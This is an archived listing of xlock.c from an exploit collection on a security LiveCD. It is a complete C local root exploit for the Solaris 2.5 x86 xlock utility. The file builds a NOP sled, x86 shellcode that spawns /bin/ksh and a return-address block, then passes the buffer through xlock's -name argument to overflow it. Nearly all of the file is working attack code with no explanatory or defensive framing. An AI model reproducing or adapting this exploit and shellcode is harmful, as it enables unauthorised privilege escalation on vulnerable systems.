home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / xlock.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  52 lines

  1. /*## copyright LAST STAGE OF DELIRIUM apr 1998 poland        *://lsd-pl.net/ #*/
  2. /*## /usr/openwin/bin/xlock                                                  #*/
  3.  
  4. #define ADRNUM 940-700
  5. #define NOPNUM 12+700+16
  6.  
  7. char shellcode[]=
  8.     "\xeb\x1b"             /* jmp     <shellcode+30>       */
  9.     "\x33\xd2"             /* xorl    %edx,%edx            */
  10.     "\x58"                 /* popl    %eax                 */
  11.     "\x8d\x78\x14"         /* leal    0x14(%eax),edi       */
  12.     "\x52"                 /* pushl   %edx                 */
  13.     "\x57"                 /* pushl   %edi                 */
  14.     "\x50"                 /* pushl   %eax                 */
  15.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  16.     "\x92"                 /* xchgl   %eax,%edx            */
  17.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  18.     "\x88\x42\x08"         /* movb    %al,0x8(%edx)        */
  19.     "\x83\xef\x3c"         /* subl    $0x3c,%edi           */
  20.     "\xb0\x9a"             /* movb    $0x9a,%al            */
  21.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  22.     "\x47"                 /* incl    %edi                 */
  23.     "\xb0\x07"             /* movb    $0x7,%al             */
  24.     "\xab"                 /* stosl   %eax,%es:(%edi)      */
  25.     "\xb0\x3b"             /* movb    $0x3b,%al            */
  26.     "\xe8\xe0\xff\xff\xff" /* call    <shellcode+2>        */
  27.     "/bin/ksh"
  28. ;
  29.  
  30. char jump[]=
  31.     "\x8b\xc4"             /* movl    %esp,%eax            */
  32.     "\xc3"                 /* ret                          */
  33. ;
  34.  
  35. main(int argc,char **argv){
  36.     char buffer[100000],adr[4],pch[4],*b; 
  37.     int i;
  38.  
  39.     printf("copyright LAST STAGE OF DELIRIUM apr 1998 poland  //lsd-pl.net/\n");
  40.     printf("/usr/openwin/bin/xlock for solaris 2.5 2.5.1 x86\n\n");
  41.  
  42.     *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+99701;
  43.  
  44.     b=buffer;
  45.     for(i=0;i<NOPNUM;i++) *b++=0x90;
  46.     for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
  47.     for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
  48.     *b=0;
  49.  
  50.     execl("/usr/openwin/bin/xlock","xlock","-name",buffer,0);
  51. }
  52. /*                    www.hack.co.za           [9 August 2000]*/